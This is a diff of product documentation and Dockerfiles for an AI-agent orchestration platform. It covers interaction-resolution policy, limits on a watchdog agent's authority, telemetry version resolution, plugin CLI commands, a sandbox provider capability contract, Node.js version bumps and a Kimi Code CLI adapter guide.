creator omits a policy. `anyone` includes the creator agent and creating run.
|
||||
Callers opt into independent review with `not_creator` or human resolution with
|
||||
`human_only`; a named addressee and company cap may narrow the effective audience.
|
||||
The legacy input aliases `board_or_agents` and `board_only` normalize to `anyone`
|
||||
and `human_only` for new writes.
|
||||
|
||||
Resolver policy is snapshotted with explicit/inherited provenance and an effective
|
||||
source (`requested`, `company_cap`, or `governed_action`). Existing ambiguous
|
||||
legacy rows are marked `legacy_inherited_restriction` and retain their old
|
||||
restriction: `board_or_agents` becomes `not_creator`, not `anyone`, while
|
||||
`board_only` becomes `human_only`. Pending cards are never silently widened.
|
||||
|
||||
Resolution is exact-once and requires issue access in the same company. Agent
|
||||
resolution also requires valid run attribution and remains subject to low-trust
|
||||
and task-bridge containment. Target freshness and supersession are checked before
|
||||
the outcome commits. Resolution records an answer; every continuation, task
|
||||
creation, tool/provider call, execution-policy transition, spend, deployment, or
|
||||
other effect independently re-runs its own authorization and approval gates.
|
||||
|
||||
## 11. Task Watchdog for Issue Trees
|
||||
|
||||
A task watchdog watches a configured issue subtree after that subtree has stopped moving. It is a product-level verification and recovery mechanism for selected work, not a process monitor.
|
||||
@@ -623,13 +655,13 @@ When the source issue is non-terminal and has no other live path, the product sh
|
||||
|
||||
### Watchdog authority during execution
|
||||
|
||||
The watchdog agent acts in a scoped capacity, not as the original deliverable worker and not as the board. The server must enforce the authority contract in `doc/SPEC-implementation.md` from persisted watchdog context. Prompt text and custom instructions may guide the watchdog's judgment, but they cannot grant authority outside the watched subtree or beyond the allowed mutation and interaction list.
|
||||
The watchdog agent acts in a scoped capacity, not as the original deliverable worker and not as the board. The server must enforce the authority contract in `doc/SPEC-implementation.md` from persisted watchdog context. Prompt text and custom instructions may guide the watchdog's judgment, but they cannot grant authority outside the watched subtree or widen an interaction's ordinary effective audience.
|
||||
|
||||
Watchdogs must not create visible probe issues, comments, or throwaway tasks to discover capability boundaries. They should rely on the wake capability metadata and explicit API denials, then record any denied operation as evidence in the reusable watchdog issue.
|
||||
|
||||
The watchdog should verify stopped leaves against comments, documents, work products, tests, screenshots, blockers, review state, and run context. It should not accept "I could not" or "waiting for approval" as sufficient by itself.
|
||||
|
||||
When work should continue, the watchdog restores a live path inside the watched subtree: reopen or reassign stuck work, create follow-up issues, repair blockers, set a monitor, or resolve an eligible plan confirmation. When the stopped state is legitimate, the watchdog records why and leaves the subtree with a valid terminal, waiting, blocked, review, or explicit recovery path.
|
||||
When work should continue, the watchdog restores a live path inside the watched subtree: reopen or reassign stuck work, create follow-up issues, repair blockers, set a monitor, or resolve an interaction that its ordinary agent audience permits. When the stopped state is legitimate, the watchdog records why and leaves the subtree with a valid terminal, waiting, blocked, review, or explicit recovery path.
|
||||
|
||||
### Atomic recovery batch
|
||||
|
||||
@@ -637,16 +669,19 @@ Restoration is often more than one write — reopen the dead-end leaf **and** ex
|
||||
|
||||
This preserves the stale-guard's purpose — never keep mutating a subtree that just went live under the watchdog's feet — while removing the failure mode where spending the only permitted write on an informational comment forfeits the state-restoring mutation the recovery actually needed.
|
||||
|
||||
### Eligible interaction decisions
|
||||
### Interaction decisions
|
||||
|
||||
A task watchdog may resolve only eligible `request_confirmation` plan confirmations. Eligibility is defined in `doc/SPEC-implementation.md` and must be checked by the server at decision time. The critical constraints are:
|
||||
A task watchdog is an ordinary agent for interaction resolution. Its watchdog
|
||||
context provides no special audience, plan-purpose marker, or kind allowlist, and
|
||||
it is not a categorical denial. The normal evaluator checks the effective policy,
|
||||
named addressee, company and issue scope, run attribution, low-trust/task-bridge
|
||||
containment, target freshness, and exact-once state.
|
||||
|
||||
- the interaction is pending, targeted at the current `plan` document revision for an included subtree issue, and explicitly marked as a plan-approval confirmation
|
||||
- accepting it authorizes only decomposition or task-level continuation inside the watched subtree
|
||||
- the plan is not asking for board-only governance, spend, hiring, security, deployment, secret, destructive data, legal/compliance, cross-company, or other sensitive approval
|
||||
- no newer durable source activity or policy reserves the decision for a human, CTO, Security, or the board
|
||||
|
||||
The watchdog cannot resolve `request_checkbox_confirmation`, `ask_user_questions`, `suggest_tasks`, linked approvals, execution-policy decisions unless it is the typed participant outside watchdog capacity, or document comments written as freeform approval.
|
||||
This does not give a watchdog downstream authority. Linked/formal approvals remain
|
||||
separate, execution-policy decisions still require the typed participant, and an
|
||||
accepted interaction cannot authorize spend, hiring, secrets, deployment,
|
||||
destructive data changes, cross-company work, or any mutation the watchdog scope
|
||||
otherwise forbids.
|
||||
|
||||
### Completion and fingerprint updates
|
||||
|
||||
@@ -755,6 +790,8 @@ Examples:
|
||||
|
||||
The recovery action stays source-scoped by default. The source issue should show the recovery owner, cause, evidence, next action, and wake or monitor policy in its own thread/detail surface.
|
||||
|
||||
The recovery owner owns the repair action, not the source deliverable. Manager escalation must preserve the source issue assignee unless an operator makes an explicit reassignment decision or an applicable serious-failure policy authorizes transfer.
|
||||
|
||||
Create an issue-backed recovery action only when a separate issue is the right execution object. In that fallback form, the source issue remains visible and is blocked on the recovery issue when blocking is necessary for correctness. The recovery owner must restore a live path, resolve the source issue manually, delegate real follow-up work, or record the reason the signal is a false positive.
|
||||
|
||||
Instance-level issue-graph liveness auto-recovery is disabled by default. When enabled, its lookback window means "dependency paths updated within the last N hours"; older findings remain advisory and are counted as outside the configured lookback instead of creating recovery actions automatically. This is an operator noise control, not the older staleness delay for determining whether a chain is old enough to surface.
|
||||
@@ -784,7 +821,7 @@ Paperclip still does not:
|
||||
The recovery model is intentionally conservative:
|
||||
|
||||
- preserve ownership
|
||||
- retry once when the control plane lost execution continuity
|
||||
- use the cause-specific bound when the control plane lost execution continuity; deliberate waits without a target use five fingerprinted original-owner disposition repairs
|
||||
- open an explicit recovery action when the system can identify a bounded recovery owner/action
|
||||
- escalate visibly when the system cannot safely keep going
|
||||
|
||||
|
||||
@@ -60,6 +60,31 @@ export OTEL_SERVICE_NAME="paperclip"
|
||||
export OTEL_SERVICE_VERSION="2026.5.0"
|
||||
```
|
||||
|
||||
### `service.version` resolution order
|
||||
|
||||
The `service.version` span attribute reports the commit the running server was
|
||||
built from. The server resolves it in this order and uses the first source that
|
||||
returns a value:
|
||||
|
||||
1. **The build stamp.** The server `build` script writes the commit SHA into
|
||||
`dist/build-info.json`. The stamp wins so the reported version tracks the
|
||||
true built commit and cannot go stale across rebuilds. The build script
|
||||
reads the commit from `git rev-parse --short HEAD` first. A Docker image
|
||||
build excludes `.git`, so the build script reads the `PAPERCLIP_BUILD_COMMIT`
|
||||
environment variable instead. Pass the built commit in that variable so the
|
||||
image stamp records the true commit.
|
||||
2. **A runtime `git rev-parse --short HEAD`.** This covers `tsx src/index.ts`
|
||||
dev mode, where the server runs from the source checkout and writes no
|
||||
stamp. A failure here is not fatal.
|
||||
3. **The `OTEL_SERVICE_VERSION` environment variable.** This is the fallback
|
||||
for a build with no stamp and no reachable git — for example a tarball
|
||||
build. `OTEL_SERVICE_VERSION` is a Paperclip-specific variable, not an
|
||||
OpenTelemetry SDK variable, so Paperclip controls this precedence.
|
||||
4. **`"unknown"`** when no source returns a value.
|
||||
|
||||
The server logs the resolved `service.version` once at startup, so an operator
|
||||
can confirm the value.
|
||||
|
||||
If `OTEL_EXPORTER_OTLP_PROTOCOL` is set to an unrecognized value, Paperclip
|
||||
logs a single warning and falls back to gRPC.
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@ pause controls, and consistent audits instead of hidden daemon behavior.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Node.js 22+ and `pnpm`.
|
||||
- Node.js 24.11+ and `pnpm`.
|
||||
- A local Paperclip checkout you can run from source. Local plugin installs read source from disk, so the running server must be able to see the path you give it.
|
||||
|
||||
## The five steps
|
||||
|
||||
@@ -245,10 +245,10 @@ This on-disk model is the reason the current implementation expects a persistent
|
||||
Paperclip should add CLI commands:
|
||||
|
||||
- `pnpm paperclipai plugin list`
|
||||
- `pnpm paperclipai plugin install <package[@version]>`
|
||||
- `pnpm paperclipai plugin uninstall <plugin-id>`
|
||||
- `pnpm paperclipai plugin upgrade <plugin-id> [version]`
|
||||
- `pnpm paperclipai plugin doctor <plugin-id>`
|
||||
- `npx paperclipai plugin install <package[@version]>`
|
||||
- `npx paperclipai plugin uninstall <plugin-id>`
|
||||
- `npx paperclipai plugin upgrade <plugin-id> [version]`
|
||||
- `npx paperclipai plugin doctor <plugin-id>`
|
||||
|
||||
These commands are instance-level operations.
|
||||
|
||||
@@ -395,6 +395,11 @@ Rules:
|
||||
- `projects` → `projects.managed`
|
||||
- `routines` → `routines.managed`
|
||||
- `skills` → `skills.managed`
|
||||
- an `environmentDrivers` entry with `kind: "sandbox_provider"` declares sandbox
|
||||
capabilities through `sandboxCapabilities`. See the
|
||||
[sandbox provider capability contract](./SANDBOX_PROVIDER_CAPABILITIES.md) for
|
||||
the supported keys, the worker-method prerequisites, and the narrowing and
|
||||
failure rules.
|
||||
|
||||
## 11. Agent Tools
|
||||
|
||||
@@ -1512,7 +1517,7 @@ When a plugin is uninstalled, the host must handle plugin-owned data explicitly.
|
||||
3. Plugin-owned data (`plugin_state`, `plugin_entities`, `plugin_jobs`, `plugin_job_runs`, `plugin_webhook_deliveries`, `plugin_config`) is retained for a configurable grace period (default: 30 days).
|
||||
4. During the grace period, the operator can reinstall the same plugin and recover its state.
|
||||
5. After the grace period, the host purges all plugin-owned data for the uninstalled plugin.
|
||||
6. The operator may force-purge immediately via CLI: `pnpm paperclipai plugin purge <plugin-id>`.
|
||||
6. The operator may force-purge immediately via CLI: `npx paperclipai plugin purge <plugin-id>`.
|
||||
|
||||
### 25.2 Upgrade Data Considerations
|
||||
|
||||
@@ -1676,7 +1681,7 @@ expect(data.syncedCount).toBeGreaterThan(0);
|
||||
|
||||
For developing a plugin against a running Paperclip instance:
|
||||
|
||||
- The operator installs the plugin from a local path: `pnpm paperclipai plugin install ./path/to/plugin`
|
||||
- The operator installs the plugin from a local path: `npx paperclipai plugin install ./path/to/plugin`
|
||||
- The host watches the plugin directory for changes and restarts the worker on rebuild.
|
||||
- `devUiUrl` in plugin config can point to a local Vite dev server for UI hot-reload.
|
||||
- The plugin settings page shows real-time logs from the worker for debugging.
|
||||
|
||||
@@ -0,0 +1,180 @@
|
||||
# Sandbox provider capability contract
|
||||
|
||||
A sandbox provider plugin declares an environment driver with
|
||||
`kind: "sandbox_provider"`. Each driver can declare a set of optional sandbox
|
||||
capabilities. This document is the contract for a third-party provider author.
|
||||
It states what to declare, which worker methods each capability needs, what an
|
||||
omitted key means, and when the host narrows or denies a capability.
|
||||
|
||||
Read [Sandbox file-sync lifecycle hooks](./SANDBOX_FILE_SYNC_HOOKS.md) for the
|
||||
native file-transfer hooks. Read the driver declaration shape in
|
||||
[the plugin specification](./PLUGIN_SPEC.md).
|
||||
|
||||
## How the host resolves an effective capability
|
||||
|
||||
The host never trusts a declaration alone. For every run it resolves each
|
||||
capability as the intersection of three inputs:
|
||||
|
||||
```
|
||||
effective = verified ∩ declared ∩ narrowing
|
||||
```
|
||||
|
||||
- **verified** — the methods the live worker advertised in
|
||||
`InitializeResult.supportedMethods`. The host maps each capability to the
|
||||
worker methods it needs (see the table below). A capability is verified only
|
||||
when the worker advertises every required method. An empty or missing method
|
||||
list verifies nothing, so every capability resolves `false`.
|
||||
- **declared** — the values in the driver declaration. A declared key is
|
||||
optional (see the next section).
|
||||
- **narrowing** — a per-run restriction from the lease policy or the resolved
|
||||
provider config. A narrowing can only remove a capability, never add one.
|
||||
|
||||
A capability is effective only when all three allow it. A declaration therefore
|
||||
never grants a capability that the worker did not verify.
|
||||
|
||||
## The declaration is optional and partial
|
||||
|
||||
Declare capabilities through the nested `sandboxCapabilities` object on the
|
||||
driver declaration:
|
||||
|
||||
```ts
|
||||
environmentDrivers: [
|
||||
{
|
||||
driverKey: "my-provider",
|
||||
kind: "sandbox_provider",
|
||||
displayName: "My Provider",
|
||||
configSchema: { type: "object", properties: {} },
|
||||
sandboxCapabilities: {
|
||||
reusableLeases: true,
|
||||
nativeSyncIn: true,
|
||||
nativeSyncOut: true,
|
||||
persistentProcessSessions: false,
|
||||
independentControlCommands: false,
|
||||
incrementalSessionOutput: false,
|
||||
},
|
||||
},
|
||||
]
|
||||
```
|
||||
|
||||
Every key is optional. For a valid, identified provider each key has one of three
|
||||
states:
|
||||
|
||||
- **Omitted** — the host defers to verified worker discovery. The capability is
|
||||
effective when the worker advertises the required methods and no narrowing
|
||||
removes it. Omission is the correct default for a provider that follows the
|
||||
standard method contract. `reusableLeases` and `incrementalSessionOutput` are
|
||||
the two exceptions: an omitted key never grants either capability. Both are
|
||||
opt-in (see the next two sections).
|
||||
- **`false`** — the host narrows the capability to off. The capability is never
|
||||
effective, even when the worker advertises the required methods.
|
||||
- **`true`** — the host still requires the verified prerequisites. A `true`
|
||||
value never grants a capability without them. It documents intent and lets the
|
||||
host present the capability, but the worker must still advertise the required
|
||||
methods.
|
||||
|
||||
## Reusable leases need an explicit opt-in
|
||||
|
||||
Reusable leases are the exception to the omission rule above. The host grants
|
||||
reusable-lease acquisition only when the declaration sets `reusableLeases` to
|
||||
`true`. The provider opts in through one of two fields:
|
||||
|
||||
- the nested `sandboxCapabilities.reusableLeases: true`, or
|
||||
- the legacy `supportsReusableLeases: true`.
|
||||
|
||||
An omitted key leaves `reusableLeases` unset. An unset key does not make the
|
||||
provider eligible for reusable-lease acquisition, and it does not advertise
|
||||
provider-level reusable support. The host then always creates an ephemeral lease.
|
||||
|
||||
The opt-in never removes the other prerequisites. The worker must still verify
|
||||
all three lifecycle methods, `environmentResumeLease`, `environmentReleaseLease`,
|
||||
and `environmentDestroyLease`, and per-run narrowing still applies.
|
||||
|
||||
The two opt-in fields have a fixed precedence. The host keeps the legacy
|
||||
`supportsReusableLeases` field for backward compatibility, and it folds the field
|
||||
into `sandboxCapabilities.reusableLeases`.
|
||||
|
||||
- When only `supportsReusableLeases` is present, the host reads it as
|
||||
`reusableLeases`.
|
||||
- When both `supportsReusableLeases` and `sandboxCapabilities.reusableLeases` are
|
||||
present, the nested value wins.
|
||||
|
||||
A manifest with legacy `true` and nested `false` therefore resolves to `false`.
|
||||
Prefer the nested `sandboxCapabilities.reusableLeases` in a new manifest.
|
||||
|
||||
## Incremental session output needs an explicit opt-in
|
||||
|
||||
Incremental session output is the second exception to the omission rule. The host
|
||||
selects the session-output streaming path only when the declaration sets
|
||||
`incrementalSessionOutput` to `true`. An omitted key resolves the capability to
|
||||
`false`, so the host keeps the output-file poll path.
|
||||
|
||||
The reason is that this key is a behavioral guarantee, not a worker-method
|
||||
property. A generic one-shot provider can keep persistent process sessions and run
|
||||
independent control commands, yet it never emits incremental stdout and stderr
|
||||
from a live session. The two broad capabilities do not imply incremental output,
|
||||
so the host requires the provider to declare the behavior. A provider that streams
|
||||
incremental session output declares `sandboxCapabilities.incrementalSessionOutput:
|
||||
true`; every other provider omits the key and keeps the poll path.
|
||||
|
||||
The opt-in never removes the prerequisites. The worker must still verify
|
||||
`environmentExecute`, and per-run narrowing still applies. A config-resolution
|
||||
failure narrows the capability to off (see [Failure behavior](#failure-behavior)).
|
||||
|
||||
## The capabilities and their worker-method prerequisites
|
||||
|
||||
| Capability | Required worker methods | Meaning |
|
||||
| --- | --- | --- |
|
||||
| `reusableLeases` | `environmentResumeLease`, `environmentReleaseLease`, **and** `environmentDestroyLease` | The host retains a provider lease and resumes it across runs. |
|
||||
| `nativeSyncIn` | `environmentSyncIn` | The host transfers files into the sandbox through the native inbound hook. |
|
||||
| `nativeSyncOut` | `environmentSyncOut` | The host transfers files out of the sandbox through the native outbound hook. |
|
||||
| `persistentProcessSessions` | `environmentExecute` | The provider keeps a persistent process session open across commands. |
|
||||
| `independentControlCommands` | `environmentExecute` | The provider runs a one-shot control command beside a long-lived command. |
|
||||
| `incrementalSessionOutput` | `environmentExecute` | The provider streams incremental stdout and stderr from a live session. Opt-in: an omitted key resolves `false`. |
|
||||
|
||||
Reusable leases need all three lifecycle methods. The host resumes a lease with
|
||||
`environmentResumeLease`, ends it with `environmentReleaseLease`, and tears down a
|
||||
stale lease with `environmentDestroyLease`. The reuse path destroys a stale lease
|
||||
when a resume fails, so a provider that cannot destroy a lease would strand it. A
|
||||
worker that omits any of the three methods never gets reusable leases, even with a
|
||||
positive declaration. The host then always creates an ephemeral lease.
|
||||
|
||||
The host advertises and consumes the two native sync methods as a pair. Define
|
||||
both or neither. See [Sandbox file-sync lifecycle hooks](./SANDBOX_FILE_SYNC_HOOKS.md).
|
||||
|
||||
## Target and config narrowing
|
||||
|
||||
A narrowing removes a capability that the provider verified and declared but that
|
||||
this run cannot use.
|
||||
|
||||
- **Ephemeral lease policy.** A lease that the host does not retain never reuses.
|
||||
The host narrows `reusableLeases` to off for an ephemeral lease and keeps it on
|
||||
only for a reuse-by-environment lease.
|
||||
- **Kubernetes Job backend.** A Job-backed lease, or a lease the host marked as
|
||||
unable to run native file sync, disables native sync. The host narrows
|
||||
`nativeSyncIn` and `nativeSyncOut` to off and keeps the base64-over-exec
|
||||
fallback.
|
||||
|
||||
## Failure behavior
|
||||
|
||||
The host fails closed on two failure states. It never grants a capability from an
|
||||
unknown state.
|
||||
|
||||
- **Config-resolution failure.** A provider whose config the host cannot resolve
|
||||
is untrusted. The host narrows `persistentProcessSessions` and
|
||||
`incrementalSessionOutput` to off instead of allowing either through an empty
|
||||
config.
|
||||
- **Exact-plugin identity failure.** A retained lease pins the exact plugin that
|
||||
acquired it. When that plugin is absent, or when it no longer declares this
|
||||
provider key with the `sandbox_provider` kind, the host cannot establish the
|
||||
declaration. It resolves every effective capability to `false`, no matter what
|
||||
methods a stale worker still advertises. An omitted `sandboxCapabilities`
|
||||
object on a valid, identified plugin is a different state; the host defers to
|
||||
verified discovery for that case.
|
||||
|
||||
## Concurrency capabilities are not part of the contract
|
||||
|
||||
Earlier drafts listed two concurrency keys, `concurrentSyncAndExec` and
|
||||
`concurrentSyncOperations`. The runtime never exposed a scheduling choice that
|
||||
read either key, so a declaration had no effect. The host removed both keys. The
|
||||
strict capability validator now rejects them as unknown keys. The host can
|
||||
reintroduce a concurrency capability when a runtime path enforces it.
|
||||
@@ -1,6 +1,6 @@
|
||||
FROM ubuntu:24.04
|
||||
|
||||
ARG NODE_MAJOR=20
|
||||
ARG NODE_MAJOR=24
|
||||
ARG PAPERCLIPAI_VERSION=latest
|
||||
ARG HOST_UID=10001
|
||||
|
||||
@@ -37,4 +37,9 @@ WORKDIR /home/paperclip/workspace
|
||||
EXPOSE 3100
|
||||
USER paperclip
|
||||
|
||||
CMD ["bash", "-lc", "set -euo pipefail; mkdir -p \"$PAPERCLIP_HOME\"; npx --yes \"paperclipai@${PAPERCLIPAI_VERSION}\" onboard --yes --data-dir \"$PAPERCLIP_HOME\""]
|
||||
# --bind lan is required: `onboard --yes` without an explicit --bind prefers
|
||||
# trusted-local defaults, which write a loopback bind into the instance config
|
||||
# and ignore the deployment env vars. A loopback listener inside the container
|
||||
# is unreachable through Docker's port mapping, so the smoke health check can
|
||||
# never pass without this flag.
|
||||
CMD ["bash", "-lc", "set -euo pipefail; mkdir -p \"$PAPERCLIP_HOME\"; npx --yes \"paperclipai@${PAPERCLIPAI_VERSION}\" onboard --yes --bind lan --data-dir \"$PAPERCLIP_HOME\""]
|
||||
@@ -1,5 +1,5 @@
|
||||
# syntax=docker/dockerfile:1.6
|
||||
ARG NODE_VERSION=22
|
||||
ARG NODE_VERSION=24
|
||||
ARG TARGETARCH
|
||||
|
||||
# ---------- Stage 1: build agent-shim ----------
|
||||
|
||||
@@ -4,7 +4,7 @@ Container images for running coding-agent harnesses in sandboxed environments (f
|
||||
|
||||
## Image Lineup
|
||||
|
||||
- **`agent-runtime-base`**: Foundation. Ubuntu 22.04 + Node 22 + git + tini + non-root user (uid 1000) + the agent shim.
|
||||
- **`agent-runtime-base`**: Foundation. Ubuntu 22.04 + Node 24 + git + tini + non-root user (uid 1000) + the agent shim.
|
||||
- **`agent-runtime-opencode`**: Extends base with `opencode-ai` globally installed.
|
||||
- **`agent-runtime-pi`**: Extends base with `@mariozechner/pi-coding-agent`.
|
||||
- **`agent-runtime-codex`**: Extends base with `@openai/codex`.
|
||||
@@ -16,7 +16,7 @@ Container images for running coding-agent harnesses in sandboxed environments (f
|
||||
|
||||
**OS & Runtime:**
|
||||
- Ubuntu 22.04
|
||||
- Node.js 22 (via NodeSource APT repo)
|
||||
- Node.js 24 (via NodeSource APT repo)
|
||||
- git
|
||||
- tini (PID-1 init, ensures signal propagation)
|
||||
- Non-root user `paperclip` (uid/gid 1000)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# syntax=docker/dockerfile:1.6
|
||||
ARG HERMES_VERSION=0.17.0
|
||||
FROM node:22-bookworm-slim
|
||||
FROM node:24-bookworm-slim
|
||||
|
||||
ARG HERMES_VERSION
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
FROM node:22-alpine
|
||||
FROM node:24-alpine
|
||||
|
||||
WORKDIR /app
|
||||
COPY server.mjs /app/server.mjs
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
FROM node:lts-trixie-slim
|
||||
FROM node:24-trixie-slim
|
||||
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
|
||||
@@ -102,7 +102,7 @@ therefore shadows any Codex login already present inside the sandbox image.
|
||||
For manual local CLI usage outside heartbeat runs (for example running as `claudecoder` directly), use:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai agent local-cli claudecoder --company-id <company-id>
|
||||
npx paperclipai agent local-cli claudecoder --company-id <company-id>
|
||||
```
|
||||
|
||||
This installs Paperclip skills in `~/.claude/skills`, creates an agent API key, and prints shell exports to run as that agent.
|
||||
|
||||
@@ -131,17 +131,17 @@ fleet with ChatGPT-subscription credentials.
|
||||
classification in rather than making `codex-home.ts` inspect execution
|
||||
targets on its own.
|
||||
|
||||
Because the warning touches authentication behavior, implementation must go
|
||||
through the security-review gate. Treat this docs section as the follow-up
|
||||
implementation spec, not as authorization to add the warning in a docs-only
|
||||
change.
|
||||
Because the warning touches authentication behavior, its implementation
|
||||
needs a maintainer security review before merge. Treat this docs section as
|
||||
the follow-up implementation spec, not as authorization to add the warning in
|
||||
a docs-only change.
|
||||
|
||||
## Manual Local CLI
|
||||
|
||||
For manual local CLI usage outside heartbeat runs (for example running as `codexcoder` directly), use:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai agent local-cli codexcoder --company-id <company-id>
|
||||
npx paperclipai agent local-cli codexcoder --company-id <company-id>
|
||||
```
|
||||
|
||||
This installs any missing skills, creates an agent API key, and prints shell exports to run as that agent.
|
||||
|
||||
@@ -74,7 +74,7 @@ my-adapter/
|
||||
"picocolors": "^1.1.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^22.0.0",
|
||||
"@types/node": "^24.0.0",
|
||||
"typescript": "^5.7.0"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
---
|
||||
title: Kimi Code CLI
|
||||
summary: Kimi Code CLI local adapter setup and configuration
|
||||
---
|
||||
|
||||
The `kimi_local` adapter runs the Kimi Code CLI (`kimi`) locally. It has two execution engines: the default **ACP engine** (`kimi acp`, streaming transcript with live tool status, matching `claude_local`/`gemini_local`) and a **CLI lane** (`kimi -p --output-format stream-json`) used as an automatic fallback. It supports session persistence, per-run skill delivery via `--skills-dir`, thinking-effort control, and structured output parsing.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Kimi Code CLI installed (`kimi` command available; npm package `@moonshot-ai/kimi-code`)
|
||||
- Authentication configured via one of:
|
||||
- `kimi login` (OAuth device flow; credentials stored under `$KIMI_CODE_HOME`, default `~/.kimi-code/`)
|
||||
- A provider configured in Kimi's `config.toml` (`[providers.<name>]`)
|
||||
- The `KIMI_MODEL_NAME` + `KIMI_MODEL_API_KEY` environment pair (optionally `KIMI_MODEL_BASE_URL`, `KIMI_MODEL_PROVIDER_TYPE`), set in the adapter env or server shell
|
||||
|
||||
## Configuration Fields
|
||||
|
||||
| Field | Type | Required | Description |
|
||||
|-------|------|----------|-------------|
|
||||
| `engine` | string | No | Execution engine: `acp` (default; streaming ACP lane via `kimi acp`), `cli` (headless `kimi -p` lane), or unset/`auto` (ACP with automatic CLI fallback when ACP prerequisites fail). |
|
||||
| `cwd` | string | Yes | Working directory for the agent process (absolute path; created automatically if missing when permissions allow) |
|
||||
| `model` | string | No | Kimi model alias (`provider/model`). Defaults to `kimi-code/kimi-for-coding`. When empty, Kimi uses `default_model` from its own `config.toml`. |
|
||||
| `promptTemplate` | string | No | Prompt used for all runs |
|
||||
| `instructionsFilePath` | string | No | Markdown instructions file prepended to the prompt. Sibling files in the same directory (`HEARTBEAT.md`, `SOUL.md`, `TOOLS.md`) are made readable via `--add-dir` on local runs. |
|
||||
| `effort` | string | No | Thinking effort (`low` \| `medium` \| `high` \| `max`). **CLI lane only**: forwarded as `KIMI_MODEL_THINKING_EFFORT` for effort-capable models (currently `kimi-code/k3`); `medium` maps to `high` since Kimi has no medium tier. Ignored for models without `support_efforts`, and not forwarded on the default ACP engine lane — pin `engine: cli` when effort control matters. |
|
||||
| `command` | string | No | CLI command override. Defaults to `kimi`. |
|
||||
| `extraArgs` | string[] | No | Additional CLI arguments appended to every run |
|
||||
| `env` | object | No | Environment variables (supports secret refs) |
|
||||
| `timeoutSec` | number | No | Process timeout (0 = no timeout) |
|
||||
| `graceSec` | number | No | Grace period before force-kill |
|
||||
|
||||
## Execution Engine
|
||||
|
||||
By default the adapter runs Kimi through the **ACP engine** (`kimi acp`, an Agent Client Protocol server over stdio), the same shared engine used by `claude_local`, `codex_local`, and `gemini_local`. ACP streams the transcript live: assistant text arrives as deltas and tool calls report a `pending`/`completed` status, so the issue thread updates continuously instead of in bursts.
|
||||
|
||||
Engine selection (`engine` config field):
|
||||
|
||||
- unset or `auto`: use ACP when its prerequisites pass (Node >= 20, resolvable `kimi acp` command, a bidirectional process target), otherwise fall back to the CLI lane with a diagnostic note.
|
||||
- `acp`: require ACP; startup failures surface as run errors rather than falling back.
|
||||
- `cli`: pin the headless CLI lane described below.
|
||||
|
||||
The ACP lane reuses the shared acpx session codec, transcript parser, and CLI event formatter, so sessions, transcripts, and logs render identically to the other ACP adapters.
|
||||
|
||||
## Headless Execution (CLI lane)
|
||||
|
||||
Runs execute as `kimi -p <prompt> --output-format stream-json` (plus `-m <model>` when configured and `-r <sessionId>` when resuming). On local runs the adapter also passes `--add-dir <instructions-dir>` so the agent can read sibling instruction files, and `--skills-dir <dir>` when skills are desired (see below). The prompt is passed as an argument, not stdin. The adapter sets a headless-safe environment (`CI=1`, `NO_COLOR=1`, `KIMI_CODE_NO_AUTO_UPDATE=1`, and `TERM=dumb` when unset) so unattended heartbeats never block on interactive prompts, theme detection, or update preflight; user-configured env values always win.
|
||||
|
||||
## Instructions Bundle
|
||||
|
||||
When `instructionsFilePath` points at a managed instruction bundle, the entry file (e.g. `AGENTS.md`) is prepended to the prompt along with a directive that names its sibling files (`HEARTBEAT.md`, `SOUL.md`, `TOOLS.md`). On local runs the containing directory is exposed to Kimi via `--add-dir`, so the agent can actually open those companion files instead of only seeing the entry file.
|
||||
|
||||
## Thinking Effort
|
||||
|
||||
The `effort` field applies to the **headless CLI lane only** (`engine: cli`, or the automatic fallback when ACP prerequisites fail). On the default ACP engine lane it is currently **not forwarded**: Kimi's ACP interface exposes a separate `thinking` config option that Paperclip does not wire yet, so an effort configured on an ACP-lane agent leaves Kimi's own default behavior in place. Pin `engine: cli` when thinking-effort control matters. On the CLI lane, `effort` is forwarded as the `KIMI_MODEL_THINKING_EFFORT` operational override, which applies to Kimi providers including managed OAuth models. Kimi has no per-invocation effort flag and no `medium` tier, so `medium` is mapped to `high`; `low`, `high`, and `max` pass through. Effort is only sent for models that advertise `support_efforts` (currently `kimi-code/k3`) to avoid provider rejections; extend `EFFORT_CAPABLE_MODELS` in the adapter as more models gain support.
|
||||
|
||||
## Session Persistence
|
||||
|
||||
The adapter captures the Kimi session id from the trailing `session.resume_hint` meta event and persists it between heartbeats. On the next wake, it resumes the existing conversation with `-r <session_id>` so the agent retains context.
|
||||
|
||||
Session resume is cwd-aware: if the working directory changed since the last run, a fresh session starts instead.
|
||||
|
||||
If resume fails with an unknown/unrecoverable session error, the adapter automatically retries with a fresh session.
|
||||
|
||||
## Skills Delivery
|
||||
|
||||
Desired Paperclip skills are delivered from a dedicated per-run directory passed via `--skills-dir`, so skills load reliably and in isolation without writing into the shared `~/.kimi-code/skills` home. On remote runs the skills snapshot is synced to the target and `--skills-dir` points at that isolated copy — Paperclip never overwrites `$KIMI_CODE_HOME/skills`, so skills installed by the operator or other agents are left intact. `--skills-dir` is only passed when at least one skill is desired, so unconfigured agents keep Kimi's default skill discovery.
|
||||
|
||||
### Control-plane skill
|
||||
|
||||
`paperclipai agent local-cli <agentRef> -C <companyId>` installs the Paperclip control-plane skills into `~/.kimi-code/skills` (honoring `KIMI_CODE_HOME`), alongside the existing `~/.codex/skills` and `~/.claude/skills` targets. Kimi auto-discovers this home on every run, so the agent has the control-plane API reference (issue/comment/interaction routes) from turn one rather than rediscovering endpoints by trial and error. Pass `--no-install-skills` to skip. This is independent of the per-run `--skills-dir` delivery above, which only applies when an agent has explicitly configured skills.
|
||||
|
||||
## Environment Test
|
||||
|
||||
Use the "Test Environment" button in the UI to validate the adapter config. It checks:
|
||||
|
||||
- Kimi CLI is installed and accessible (`kimi --version`)
|
||||
- Working directory is absolute and available (auto-created if missing and permitted)
|
||||
- Auth availability (OAuth credential/config files under `$KIMI_CODE_HOME`, or the `KIMI_MODEL_NAME` + `KIMI_MODEL_API_KEY` env pair)
|
||||
